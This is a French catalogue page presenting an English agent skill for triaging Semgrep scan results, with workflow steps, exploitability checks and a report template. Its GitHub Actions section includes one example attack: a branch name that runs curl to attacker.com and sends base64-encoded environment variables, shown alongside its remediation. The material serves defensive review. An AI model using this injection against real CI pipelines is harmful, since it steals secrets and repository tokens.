Réviser les résultats Semgrep

VérifiéPrudence

Examiner et trier les résultats des analyses de sécurité Semgrep pour identifier les vulnérabilités réelles. Effectue une analyse approfondie du code pour distinguer les vraies vulnérabilités des faux positifs.

Spar Skills Guide Bot
SecuriteIntermédiaire
30/07/2026
Claude CodeCursorCodex
#semgrep#static-analysis#vulnerability-triage#false-positives#security-review

Recommandé pour

Synthèse automatique

Ce skill guide l'analyse des résultats de scans Semgrep afin de distinguer les vulnérabilités réellement exploitables des faux positifs, en s'appuyant sur une lecture approfondie du code source.

Points forts

  • Impose une première étape de comptage puis un résumé via le script d'extraction, ce qui évite de mal interpréter des résultats partiels.
  • Décrit précisément l'arborescence attendue (dépôts clonés, findings par organisation, scripts) et lève toute ambiguïté sur l'emplacement des fichiers.
  • Interdit explicitement l'écriture de scripts jq/Python ad hoc au profit des scripts existants dans ./scripts/, garantissant des sorties cohérentes.
  • Couvre aussi bien les résultats par dépôt que les scans consolidés compressés via les options --catalog et --scan.

Limites

  • Suppose une structure de projet et des scripts d'extraction déjà en place ; le skill ne fonctionne pas sur un dépôt isolé sans cet échafaudage.
  • Ne détaille pas la méthode d'analyse du code au-delà de l'invocation des scripts, la qualification des vrais positifs reste à la charge de l'analyste.
  • Fortement orienté vers un contexte de threat hunting multi-organisations, ce qui peut être superflu pour un simple audit ponctuel.
Quand l'utiliser

À utiliser lorsqu'un répertoire de résultats Semgrep doit être trié et que l'on veut un workflow reproductible pour isoler les vulnérabilités confirmées.

Quand l'éviter

À éviter si aucun script d'extraction ni arborescence findings/<org> n'existe, ou s'il s'agit simplement de lancer un scan sans triage.

Analyse de sécurité

Prudence
Score qualité88/100

The skill is a legitimate security-analysis workflow that runs pre-existing extraction and scanning scripts. It does not include destructive, exfiltrating, or obfuscated commands, but it does instruct the agent to execute shell scripts, which is a powerful action. The lack of declared allowed tools and reliance on local scripts warrant a caution rating rather than safe.

Points d'attention
  • •Instructs execution of local shell scripts (./scripts/extract-semgrep-findings.sh, ./scripts/scan-semgrep.sh) without declaring any allowed tools.
  • •Relies on pre-existing scripts in the working directory; if those scripts were altered, they could perform unintended actions, though the skill itself does not contain malicious commands.
Comment cette analyse est faite

Exemples

Triage a full org scan
Run ./scripts/extract-semgrep-findings.sh jitsi count, then the full summary, and triage each finding by reading the source in jitsi/ to tell me which ones are true positives.
Single repo deep dive
Extract the semgrep findings for the jicofo repo under org jitsi and review every high-severity rule hit against the actual code, marking each as true positive or false positive with reasoning.
Review a merged catalog scan
Use the extraction script with --catalog for tronprotocol and report which Semgrep findings from the latest merged scan are real vulnerabilities worth filing.

name: review-semgrep description: Review and triage semgrep security scan results to identify true positive vulnerabilities. Use when analyzing semgrep output, triaging security findings, reviewing static analysis results, or when the user has semgrep-results directories to review. Performs deep code analysis to distinguish real vulnerabilities from false positives with high confidence.

Review Semgrep Security Findings

Expert security analysis workflow for triaging semgrep scan results and identifying true positive vulnerabilities.

Project Structure

All paths are relative to the project root (working directory):

threat_hunting/                    # Project root (working directory)
├── <org-name>/                    # Cloned repositories (e.g., jitsi/, tronprotocol/)
│   └── <repo-name>/               # Individual repository source code
├── findings/<org-name>/           # All scan results for an organization
│   ├── semgrep-results/           # Semgrep JSON output files
│   │   └── <repo-name>.json
│   ├── trufflehog-results/
│   ├── artifact-results/
│   ├── kics-results/
│   └── reports/                   # Final consolidated reports
└── scripts/                       # ALL extraction and scanning scripts

Repository source code location: <org-name>/<repo-name>/ (e.g., jitsi/jicofo/src/main/java/...) Scan results location: findings/<org-name>/semgrep-results/<repo-name>.json

CRITICAL: Do NOT Write Custom Scripts

All extraction scripts already exist in ./scripts/. Never write custom jq, Python, or shell scripts to parse findings. The existing scripts handle:

  • Complex JSON/NDJSON parsing
  • Large file handling
  • Edge cases and error handling
  • Consistent output formatting

Available extraction scripts:

  • ./scripts/extract-semgrep-findings.sh - Parse semgrep results
  • ./scripts/extract-trufflehog-findings.sh - Parse trufflehog results
  • ./scripts/extract-artifact-findings.sh - Parse artifact results
  • ./scripts/extract-kics-findings.sh - Parse KICS results

If you need functionality not provided by existing scripts, ask the user to update the scripts rather than writing one-off solutions.

CRITICAL: Always Use the Extraction Script First

MANDATORY: Before doing ANY manual analysis, you MUST run the extraction script to get a summary of findings:

./scripts/extract-semgrep-findings.sh <org-name>

This script:

  • Parses all JSON result files efficiently
  • Extracts only the findings (not metadata bloat)
  • Formats output in a readable, actionable format
  • Shows severity, rule ID, file location, and description

DO NOT attempt to read JSON files directly or use Grep to parse them. The extraction script handles the complex JSON structure and large file sizes automatically.

Quick Reference

# Extract from findings/ directory (per-repo files)
./scripts/extract-semgrep-findings.sh <org-name>                  # All repos, summary
./scripts/extract-semgrep-findings.sh <org-name> summary <repo>   # Specific repo
./scripts/extract-semgrep-findings.sh <org-name> count            # Counts only

# Extract from catalog scans (merged gzipped files)
./scripts/extract-semgrep-findings.sh <org-name> --catalog         # Latest scan
./scripts/extract-semgrep-findings.sh <org-name> --scan 2025-12-24 # Specific scan

# Scan repositories (if not already done)
./scripts/scan-semgrep.sh <org-name>

Data Sources:

  • findings/<org>/semgrep-results/*.json - Per-repo results (uncompressed)
  • catalog/tracked/<org>/scans/<timestamp>/semgrep.json.gz - Merged scan (gzipped)

Workflow

Step 1: Run the Extraction Script and Verify Counts

ALWAYS START HERE - Run the extraction script with count format first:

# Step 1a: Get counts to verify total findings
./scripts/extract-semgrep-findings.sh <org-name> count

# Step 1b: Then get the full summary
./scripts/extract-semgrep-findings.sh <org-name>

CRITICAL COUNT VERIFICATION: The summary output shows "Total: N findings" at the bottom. This MUST match the sum of all counts from step 1a. If they don't match, the extraction may be truncating results - investigate before proceeding.

Review the script output to understand:

  • Total number of findings across all repos
  • Which repos have the most findings
  • Types of issues detected (by rule ID)
  • Severity distribution (ERROR vs WARNING)

Note: Findings are sorted by severity (ERROR first, then WARNING). All ERROR findings appear at the top of the output for immediate attention.

Step 2: Triage Findings

For each finding, quickly assess whether it warrants deep analysis:

Likely FALSE POSITIVE - Skip these:

  • Test files (*_test.go, *.spec.ts, __tests__/)
  • Example/demo code (examples/, demo/, sample)
  • Vendor/third-party code (vendor/, node_modules/)
  • Documentation files showing code samples
  • Intentional patterns with explanatory comments

Likely TRUE POSITIVE - Analyze these:

  • Production code paths
  • Code handling user input
  • Authentication/authorization logic
  • Cryptographic operations
  • Database queries
  • File system operations

Prioritize by severity:

  1. ERROR findings in production code
  2. WARNING findings in security-sensitive areas
  3. Everything else

Step 3: Deep Analysis

For each finding that passed triage, verify exploitability:

Read the Source Code

  • Read the file at the reported location
  • Examine 50+ lines of surrounding context
  • Check for mitigating controls nearby

Verify Exploitability (CRITICAL)

Semgrep flags patterns, not proven vulnerabilities. Check:

Input Analysis:

  • Is the input user-controlled or hardcoded?
  • Constrained inputs (enums, dropdowns) → NOT exploitable
  • Freeform inputs (text fields, URLs) → Potentially exploitable

Character Restrictions:

  • Can dangerous characters reach the sink?
  • GitHub usernames: [a-z0-9-] only → Cannot inject shell metacharacters
  • UUIDs: [a-f0-9-] only → Cannot inject code

Sanitization:

  • Is input validated before the dangerous function?
  • Does the framework auto-escape (parameterized queries, template escaping)?

Access Control:

  • Who can trigger this code path?
  • Admin-only → Lower risk than public endpoints

Exploitability Verdict

For each finding, determine:

EXPLOITABLE - User input reaches dangerous sink without sanitization
NOT EXPLOITABLE - Input constrained, sanitized, or not user-controlled
NEEDS INVESTIGATION - Unclear data flow, requires more context

Step 4: Report Findings

Only report findings with 90%+ confidence they are true positives.

For each confirmed finding:

## [Severity] Rule Name

**Repository**: repo-name
**File:Line**: path/to/file.py:123
**Confidence**: 95%

**Summary**: One-line description of the vulnerability

**Analysis**: Why this is a true positive - explain the vulnerable data flow

**Exploitability**: EXPLOITABLE
**Attack Path**: Concrete steps an attacker would take

**Evidence**:
[relevant code snippet]

**Remediation**: Specific fix recommendation

Final Summary:

  • Total findings reviewed
  • True positives identified (with count by severity)
  • Most critical issues requiring immediate attention
  • Patterns observed across repositories

Output Formats

Extraction script formats:

  • summary (default) - Readable finding details
  • count - Counts per repository
  • full - Raw JSON for detailed analysis

Reference

JSON Structure (For Understanding Output)

Each finding in the extraction script output contains:

  • check_id: Semgrep rule that triggered
  • path: File path where finding was detected
  • start.line / end.line: Line numbers
  • extra.message: Vulnerability description
  • extra.severity: ERROR, WARNING, INFO
  • extra.metadata: CWE, OWASP references, confidence

Note: Do NOT manually parse JSON files - always use the extraction script.

Language-Specific Knowledge

When reviewing code in these languages, consult the detailed guides:

  • PHP: See php-vulnerabilities.md for parser differentials (parse_url bypass), type juggling, strcmp bypass, and deserialization
  • Python: See python-vulnerabilities.md for path traversal (os.path.join/pathlib bypass), pickle/ML deserialization RCE, YAML deserialization, class pollution (prototype pollution equivalent), dynamic import LFI (importlib.import_module()), SSTI, eval/exec injection, command injection, SSRF, and SQL injection
  • NoSQL/MongoDB: See nosql-injection.md for operator injection ($ne, $gt, $regex), $where JavaScript injection, and auth bypass patterns across Python, Node.js, Java, Go, and Ruby
  • XPath Injection: See xpath-injection.md for XPath injection patterns in Python (lxml), Java (javax.xml.xpath), PHP (SimpleXML/DOMXPath), C# (System.Xml.XPath), and Ruby (Nokogiri/REXML) - authentication bypass, data extraction, parameterized query remediation

GitHub Actions Security (CRITICAL)

GitHub Actions findings require special attention. Rule yaml.github-actions.security.run-shell-injection is HIGH SEVERITY:

Expression Injection Pattern

Vulnerable code in action.yml or workflow:

run: |
  BRANCH=${{ github.head_ref }}  # DANGEROUS - attacker controls branch name

Why it's critical:

  1. ${{ }} expressions are substituted BEFORE bash execution
  2. github.head_ref (PR branch name) is fully controlled by the PR author
  3. Shell metacharacters in branch names are passed directly to bash
  4. Any fork can create a malicious PR

Branch name restrictions allow:

  • $() - command substitution
  • ${} - variable expansion
  • ; | & - command chaining

Exploitation:

# Attacker creates branch:
git checkout -b 'x$(curl attacker.com/?s=$(env|base64))y'
# Opens PR → GitHub Actions executes the command substitution

Impact:

  • Full environment variable exfiltration
  • Secret theft (if secrets in env at injection time)
  • Repository write access via GITHUB_TOKEN
  • Supply chain attacks

NOT a false positive if:

  • The action/workflow is used by ANY other repository
  • The workflow triggers on pull_request (exploitable via fork)
  • Even if "internal tool" - other repos using the action are vulnerable

Remediation:

env:
  HEAD_REF: ${{ github.head_ref }}
run: |
  BRANCH="$HEAD_REF"  # Safe - variable not substituted by GitHub

Guidelines

  • Be skeptical - false positives waste developer time
  • Consider full context, not just the flagged line
  • Pattern match ≠ vulnerability; verify exploitability
  • Prioritize by real-world risk, not just severity labels
  • Document your reasoning for each verdict

Du fichier au premier essai

Le téléchargement contient exactement le contenu affiché sur cette fiche. Cette copie peut différer de la dernière version du dépôt source.

Consulter la source et ses fichiers annexes

Ce téléchargement contient uniquement SKILL.md. Les scripts, références, modèles et dépendances éventuels ne sont pas inclus. Récupérez les fichiers nécessaires depuis la source en conservant leur arborescence avant de poursuivre.

1. Télécharger le fichier

Télécharger SKILL.md

Depuis la racine d’un projet de test, enregistrez le fichier sous .skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md, ou utilisez la commande suivante. Ce dossier sert à examiner la skill avant son installation.

Commande pour macOS/Linux ou WSL : un shell POSIX et curl sont nécessaires. Sous Windows sans WSL, utilisez le bouton de téléchargement et créez le dossier manuellement.

mkdir -p '.skill-downloads/review-semgrep-findings-ms71b4b4' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/review-semgrep-findings-ms71b4b4/download' --output '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md.part' && mv '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md.part' '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md'

2. Vérifier les prérequis

Lisez SKILL.md avant de l’utiliser. Si le fichier cite des scripts ou services externes, examinez-les et préparez les accès nécessaires dans votre environnement de test.

Extrait original : Quick Reference
# Extract from findings/ directory (per-repo files)
./scripts/extract-semgrep-findings.sh <org-name>                  # All repos, summary
./scripts/extract-semgrep-findings.sh <org-name> summary <repo>   # Specific repo
./scripts/extract-semgrep-findings.sh <org-name> count            # Counts only

# Extract from catalog scans (merged gzipped files)
./scripts/extract-semgrep-findings.sh <org-name> --catalog         # Latest scan
./scripts/extract-semgrep-findings.sh <org-name> --scan 2025-12-24 # Specific scan

# Scan repositories (if not already done)
./scripts/scan-semgrep.sh <org-name>

Data Sources:

  • findings/<org>/semgrep-results/*.json - Per-repo results (uncompressed)
  • catalog/tracked/<org>/scans/<timestamp>/semgrep.json.gz - Merged scan (gzipped)

Les plateformes de la fiche sont des indications du catalogue. Les chemins ci-dessous suivent la documentation des outils ; ils ne prouvent pas que cette skill y a été exécutée. Aucune version minimale de ces outils n’est attestée pour cette fiche.

3. Charger la skill

Après vérification, copiez le dossier complet dans le projet avec l’une des commandes ci-dessous, puis ouvrez une nouvelle session de l’outil. La commande s’arrête si un dossier du même nom existe déjà : comparez les fichiers avant de le remplacer.

Claude Code
test -f '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md' && test -s '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/review-semgrep' && cp -R '.skill-downloads/review-semgrep-findings-ms71b4b4' '.claude/skills/review-semgrep'

Cursor
test -f '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md' && test -s '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md' && mkdir -p '.cursor/skills' && test ! -e '.cursor/skills/review-semgrep' && cp -R '.skill-downloads/review-semgrep-findings-ms71b4b4' '.cursor/skills/review-semgrep'

Codex
test -f '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md' && test -s '.skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md' && mkdir -p '.agents/skills' && test ! -e '.agents/skills/review-semgrep' && cp -R '.skill-downloads/review-semgrep-findings-ms71b4b4' '.agents/skills/review-semgrep'

OpenSkills

OpenSkills doit déjà être installé. La procédure locale install/read est contrôlée avec OpenSkills 1.5.0, qui exige Node.js ≥ 20.6.0. Aucun slug du catalogue n’est résolu automatiquement.

Installation officielle d’OpenSkills
openskills install './.skill-downloads/review-semgrep-findings-ms71b4b4'

openskills read 'review-semgrep-findings-ms71b4b4'

La lecture doit afficher le contenu du fichier installé et son dossier de base. Elle ne lance ni la skill ni ses dépendances.

Pour un agent qui lit AGENTS.md, synchronisez ensuite l’index. Cette commande modifie AGENTS.md : relisez le diff avant de l’utiliser.

openskills sync

Mode manuel ou autre outil : joignez SKILL.md à une conversation, ou ouvrez-le dans un agent capable de lire les fichiers. Ajoutez les ressources annexes nécessaires. Il n’existe pas de dossier universel reconnu par tous les outils.

4. Faire un premier essai

Utilisez une entrée courte et fictive : un endpoint d’API, un petit document ou un brief d’interface. Dans une nouvelle conversation, joignez le fichier ou donnez son chemin à l’agent, puis adaptez cette demande :

Lis .skill-downloads/review-semgrep-findings-ms71b4b4/SKILL.md et applique ses instructions à cet exemple : [décrire une entrée de test]. Indique les fichiers, dépendances ou accès qui manquent. Produis le résultat demandé par la skill sans inventer de données ni exécuter de script non examiné.

Résultat attendu : une sortie correspondant aux instructions de la skill, ou une liste précise des prérequis manquants. Une simple confirmation de lecture ne valide pas le premier usage. Si une ressource externe est indisponible, ce parcours reste à tester.

Skills similaires